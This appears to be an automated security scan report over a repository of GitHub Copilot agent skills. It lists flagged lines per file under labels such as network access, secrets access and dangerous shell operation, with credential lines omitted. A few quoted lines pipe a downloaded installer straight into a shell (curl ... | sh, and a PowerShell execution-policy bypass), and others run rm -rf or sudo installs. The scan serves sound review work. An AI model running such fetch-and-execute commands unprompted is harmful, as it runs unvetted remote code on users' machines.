- [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands) - Network accessline 141
- [GitHub Repository](https://github.com/microsoft/msstore-cli) - Network accessline 142
- [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services) - Network accessline 143
- [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services) - Network accessline 144
- [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights) - Network accessline 145
- [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout) - Network accessline 146
- [Partner Center](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 147
- [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ) - Network accessline 148
- [Manual releases](https://aka.ms/msstoredevcli/releases)
harness/github-copilot/skills/msstore-cli/references/commands-and-workflows.md
- Access to secretsline 46
[Credential-related source omitted] - Network accessline 232
# Initialize PWA msstore init https://contoso.com --output ./pwa-package - Network accessline 233
msstore init https://contoso.com --output ./pwa-package - Access to secretsline 401
[Credential-related source omitted] - Access to secretsline 498
[Credential-related source omitted]
harness/github-copilot/skills/mutation-testing/SKILL.md
harness/github-copilot/skills/mvvm-toolkit-di/SKILL.md
- Network accessline 240
- [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection) - Network accessline 241
- [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage) - Network accessline 242
- [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc) - Network accessline 243
- [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host) - Network accessline 244
- [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)
harness/github-copilot/skills/mvvm-toolkit-di/references/dependency-injection.md
- Network accessline 52
> On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder). - Network accessline 54
> [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
harness/github-copilot/skills/mvvm-toolkit-messenger/SKILL.md
- Network accessline 302
- Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger> - Network accessline 303
- `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger> - Network accessline 304
- Source: <https://github.com/CommunityToolkit/dotnet>
harness/github-copilot/skills/mvvm-toolkit/SKILL.md
- Network accessline 277
- Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ - Network accessline 278
- WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro - Network accessline 279
- Source: https://github.com/CommunityToolkit/dotnet - Network accessline 280
- Samples: https://github.com/CommunityToolkit/MVVM-Samples
harness/github-copilot/skills/mvvm-toolkit/references/end-to-end-walkthrough.md
harness/github-copilot/skills/mvvm-toolkit/references/troubleshooting.md
- Network accessline 20
Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 21
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 208
- All `MVVMTK0xxx` errors: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 209
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 210
- Source: <https://github.com/CommunityToolkit/dotnet> - Network accessline 211
- Sample app: <https://aka.ms/mvvmtoolkit/samples>
harness/github-copilot/skills/namecheap/SKILL.md
- Network accessline 22
- The script requires Python 3 standard library only; no `pip install` is needed. - Credentials come from `~/.namecheap-api` or environment variables. - Namecheap API access must be enabled and the caller's public IP must be whitelisted at - Network accessline 24
- Namecheap API access must be enabled and the caller's public IP must be whitelisted at https://ap.www.namecheap.com/settings/tools/apiaccess/. - Access to secretsline 28
[Credential-related source omitted] - Network accessline 30
1. Run `python3 namecheap.py public-ip` to display the public IP. 2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP. - Network accessline 31
2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP. - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 166
- [Namecheap API access settings](https://ap.www.namecheap.com/settings/tools/apiaccess/)
harness/github-copilot/skills/namecheap/namecheap.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 21
API_URL = "https://api.namecheap.com/xml.response" - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Network accessline 104
print("You need:") print(" 1. Your Namecheap username") print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") - Network accessline 105
print(" 1. Your Namecheap username") print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") print(" 3. Your public IP whitelisted in the API settings") - Network accessline 106
print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Network accessline 121
def _http_get(url, timeout=15): req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"}) - Network accessline 122
req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"}) - Network accessline 123
with urllib.request.urlopen(req, timeout=timeout) as resp: # noqa: S310 (https only) - Network accessline 130
if _public_ip: return _public_ip for url in ("https://api.ipify.org", "https://ifconfig.me"): - Network accessline 131
return _public_ip for url in ("https://api.ipify.org", "https://ifconfig.me"): try: - Network accessline 132
for url in ("https://api.ipify.org", "https://ifconfig.me"): - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Network accessline 221
print() print("Make sure this IP is whitelisted at:") print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") - Network accessline 222
print("Make sure this IP is whitelisted at:") print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") print() - Network accessline 223
print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted]
harness/github-copilot/skills/namecheap/references/namecheap-api.md
- Network accessline 6
https://api.namecheap.com/xml.response - Network accessline 14
|-----------|-------------| | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | - Network accessline 15
| `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | | `UserName` | Same as ApiUser | - Network accessline 16
| `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | - Network accessline 23
1. Log in to Namecheap 2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/ - Network accessline 24
2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/ - Network accessline 376
| `MXE` | MX equivalent (IP) | `1.2.3.4` | | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | - Network accessline 377
| `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | | `URL301` | Permanent redirect | `http://example.com` | - Network accessline 378
| `URL` | URL redirect (unmasked) | `http://example.com` | - Network accessline 379
| `URL301` | Permanent redirect | `http://example.com` | - Network accessline 380
| `FRAME` | URL redirect (masked) | `http://example.com` |
harness/github-copilot/skills/nano-banana-pro-openrouter/SKILL.md
- Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Network accessline 64
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Dangerous shell operationline 65
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 65
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 66
| `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. | - Access to secretsline 88
[Credential-related source omitted] - Network accessline 97
- [uv installer for macOS/Linux](https://astral.sh/uv/install.sh) - Network accessline 98
- [uv installer for Windows](https://astral.sh/uv/install.ps1) - Network accessline 99
- [OpenRouter keys](https://openrouter.ai/settings/keys)
harness/github-copilot/skills/nano-banana-pro-openrouter/scripts/generate_image.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Possible obfuscationline 83
raw = base64.b64decode(encoded) - Network accessline 135
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Network accessline 157
# https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options
harness/github-copilot/skills/napkin/assets/step1-activate.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">
harness/github-copilot/skills/napkin/assets/step2-whiteboard.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/skills/napkin/assets/step3-draw.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/skills/napkin/assets/step4-share.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/skills/napkin/assets/step5-response.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/skills/noob-mode/references/examples.md
harness/github-copilot/skills/noob-mode/references/glossary.md
- Network accessline 252
**Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 254
**Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 280
**Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc - Network accessline 282
**Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."
harness/github-copilot/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/skills/optimize-simplicite-logs/scripts/SimpliciteLog2Json.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/optimize-simplicite-logs/scripts/simplicite-log2json.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/pcf-development/SKILL.md
- Network accessline 162
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview - Network accessline 163
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations - Network accessline 164
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/
harness/github-copilot/skills/pdftk-server/SKILL.md
harness/github-copilot/skills/pdftk-server/references/download.md
- Dangerous shell operationline 26
sudo apt-get install pdftk - Dangerous shell operationline 32
sudo dnf install pdftk - Network accessline 37
PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th - Network accessline 45
[PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 49
[PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/) - Network accessline 53
PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/ - Network accessline 58
curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip - Network accessline 62
Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`. - Network accessline 75
PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t
harness/github-copilot/skills/pdftk-server/references/pdftk-man-page.md
- Network accessline 3
- **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 4
- Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 5
- See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation
harness/github-copilot/skills/pdftk-server/references/pdftk-server-license.md
- Network accessline 15
[PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf) - Network accessline 19
[Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 23
PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen
harness/github-copilot/skills/pdftk-server/references/third-party-materials.md
- Network accessline 13
[Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt) - Network accessline 15
Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 25
[Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt). - Network accessline 27
[Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt). - Network accessline 29
Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 43
[Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). - Network accessline 45
Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 51
Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org) - Network accessline 59
Download the Bouncy Castle source code from: http://www.bouncycastle.org/. - Network accessline 67
[Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 69
The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/). - Network accessline 79
Download the MinGW runtime source code from: http://mingw.org/. - Network accessline 87
[Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 89
Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/ - Network accessline 95
http://www.apache.org/licenses/LICENSE-2.0 - Network accessline 99
[Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt). - Network accessline 101
[Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt). - Network accessline 103
Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.
harness/github-copilot/skills/penpot-uiux-design/SKILL.md
- Network accessline 22
- Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui - Network accessline 23
- If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in - Network accessline 24
- Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`. - Network accessline 25
- In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI. - Network accessline 26
- VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.
harness/github-copilot/skills/penpot-uiux-design/references/setup-troubleshooting.md
- Network accessline 26
- **Node.js v22+** - [Download](https://nodejs.org/) - Network accessline 42
# Clone the repository git clone https://github.com/penpot/penpot-mcp.git - Network accessline 43
git clone https://github.com/penpot/penpot-mcp.git - Network accessline 66
MCP Server listening on http://localhost:4401 - Network accessline 67
Plugin server listening on http://localhost:4400 - Network accessline 73
1. Open [Penpot](https://design.penpot.app/) in your browser - Network accessline 75
3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` - Network accessline 76
4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"** - Network accessline 77
5. Enter: `http://localhost:4400/manifest.json` - Network accessline 92
"servers": { "penpot": { "url": "http://localhost:4401/sse" - Network accessline 93
"penpot": { "url": "http://localhost:4401/sse" } - Network accessline 94
"url": "http://localhost:4401/sse" - Network accessline 106
"servers": { "penpot": { "url": "http://localhost:4401/mcp" - Network accessline 107
"penpot": { "url": "http://localhost:4401/mcp" } - Network accessline 108
"url": "http://localhost:4401/mcp" - Network accessline 135
"penpot": { "command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 136
"command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] } - Network accessline 137
"args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 148
claude mcp add penpot -t http http://localhost:4401/mcp - Network accessline 207
# Test the SSE endpoint curl http://localhost:4401/sse - Network accessline 208
curl http://localhost:4401/sse - Network accessline 210
# Test the MCP endpoint curl http://localhost:4401/mcp - Network accessline 211
curl http://localhost:4401/mcp - Network accessline 237
1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Network accessline 238
2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Dangerous shell operationline 275
rm -rf node_modules - Network accessline 309
curl -s http://localhost:4401/sse | head -1 - Network accessline 326
- **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues) - Network accessline 327
- **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions) - Network accessline 328
- **Penpot Community**: [community.penpot.app](https://community.penpot.app/)
harness/github-copilot/skills/pester-migration/SKILL.md
- Network accessline 22
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 24
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 36
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 184
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 185
- Installation: https://pester.dev/docs/introduction/installation.
harness/github-copilot/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/github-copilot/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/github-copilot/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/github-copilot/skills/pester-should-migration/SKILL.md
- Network accessline 116
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 117
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 118
- `https://pester.dev/docs/assertions/should-command` - Network accessline 119
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 120
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 159
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 160
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 161
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/github-copilot/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/github-copilot/skills/phoenix-cli/SKILL.md
- Access to secretsline 32
[Credential-related source omitted] - Network accessline 77
export PHOENIX_HOST=http://localhost:6006 - Access to secretsline 79
[Credential-related source omitted] - Network accessline 125
px auth status # check connection and authentication px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 126
px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 138
px profile show # show the active profile's settings px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> - Network accessline 139
px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my- - Network accessline 140
px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate - Network accessline 141
px profile create local --endpoint http://localhost:6006 --project my-app - Network accessline 390
- [Phoenix application](https://app.phoenix.arize.com)
harness/github-copilot/skills/phoenix-cli/references/axial-coding.md
- Dangerous shell operationline 165
rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"
harness/github-copilot/skills/phoenix-cli/references/open-coding.md
- Dangerous shell operationline 239
rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"
harness/github-copilot/skills/phoenix-evals/references/common-mistakes-python.md
- Network accessline 72
# WRONG client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 73
client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 74
client = Client(url="https://app.phoenix.arize.com") - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted]
harness/github-copilot/skills/phoenix-evals/references/error-analysis.md
harness/github-copilot/skills/phoenix-evals/references/observe-tracing-setup.md
harness/github-copilot/skills/phoenix-tracing/README.md
- Network accessline 20
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 21
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 22
- [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 23
- [Python Client API](https://arize.com/docs/phoenix) - Network accessline 24
- [TypeScript API](https://arize-ai.github.io/phoenix/)
harness/github-copilot/skills/phoenix-tracing/SKILL.md
- Network accessline 134
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 135
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 136
- [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 137
- [Python Client Package](https://arize.com/docs/phoenix) - Network accessline 138
- [TypeScript Packages](https://arize-ai.github.io/phoenix/)
harness/github-copilot/skills/phoenix-tracing/references/annotations-python.md
harness/github-copilot/skills/phoenix-tracing/references/annotations-typescript.md
- Network accessline 8
import { createClient } from "@arizeai/phoenix-client"; const client = createClient(); // Default: http://localhost:6006 - Network accessline 9
const client = createClient(); // Default: http://localhost:6006 - Network accessline 173
- [TypeScript Client API](https://arize-ai.github.io/phoenix/)
harness/github-copilot/skills/phoenix-tracing/references/instrumentation-manual-python.md
- Network accessline 47
@tracer.tool def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") - Network accessline 48
def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") return response.json()["weather"] - Network accessline 49
response = requests.get(f"https://api.weather.com/{city}") - Network accessline 180
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto - Network accessline 182
- **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
harness/github-copilot/skills/phoenix-tracing/references/instrumentation-manual-typescript.md
- Network accessline 53
// TOOL - function calls const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 54
const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), { name: "get-weather" } - Network accessline 55
async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 170
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation - Network accessline 171
- **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
harness/github-copilot/skills/phoenix-tracing/references/projects-python.md
- Access to secretsline 21
[Credential-related source omitted]
